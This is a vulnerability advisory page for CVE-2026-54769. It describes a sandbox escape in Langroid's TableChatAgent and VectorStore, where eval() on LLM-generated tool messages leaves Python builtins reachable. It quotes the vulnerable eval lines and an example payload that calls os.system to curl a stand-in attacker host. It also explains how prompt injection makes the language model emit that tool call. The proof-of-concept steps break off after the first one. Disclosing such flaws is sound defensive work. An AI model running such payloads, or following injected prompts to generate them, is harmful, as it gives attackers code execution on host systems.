CVE-2026-54769
Advisory Details
Title: Sandbox Escape to Remote Code Execution via Incomplete eval() Mitigation in TableChatAgent
Description:
Summary
Langroid is vulnerable to a critical Sandbox Escape leading to Remote Code Execution (RCE) in its TableChatAgent and VectorStore capabilities. When these agents evaluate LLM-generated tool messages with full_eval=True, they attempt to sandbox the execution by explicitly setting locals to an empty dictionary {} inside Python's eval() function. However, this relies on an incomplete understanding of Python's execution model. Because builtins is not explicitly scrubbed from the globals dictionary mapping, Python implicitly injects all built-ins during execution, granting full access to functions like import('os').system(). Since TableChatAgent.pandas_eval() executes external LLM outputs natively, this bypass permits any attacker providing prompt payload to achieve unauthenticated RCE on the host system.
Details
The root cause lies in how the framework evaluates generated Python code without a proper restricted environment.
Specifically, in /langroid/agent/special/table_chat_agent.py around line 239:
The vars mapping does not proactively overwrite or remove builtins
The empty {} locals parameter provides false security.
eval_result = eval(code, vars, {})
And similarly in /langroid/vector_store/base.py around line 225:
result = eval(code, vars, {})
An attacker can utilize Prompt Injection to force the language model to generate a Tool Call with the specific expression property set to:
import('os').system('curl http://attacker.com/pwned')
Because the empty {} locals dictionary does not restrict globals implicitly derived via the Python interpreter, this execution succeeds without raising a NameError.
PoC
To reproduce the vulnerability on any local Langroid installation:
1. Start a vulnerable chat agent locally running Langroid
⚡ Watch CVE-2026-54769
Get an email if CVE-2026-54769 is added to CISA KEV, gains public exploit code, or a new advisory cites it — max one per day, one-click unsubscribe.
Exploitation outlook
- Low exploitation risk0.91% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 56% of all EPSS-scored CVEs.
Advisory coverage (2)
External references
Embed the live status
— this badge updates automatically when the KEV or exploit status changes. How to embed it →
[](https://www.csirts.com/cve/CVE-2026-54769)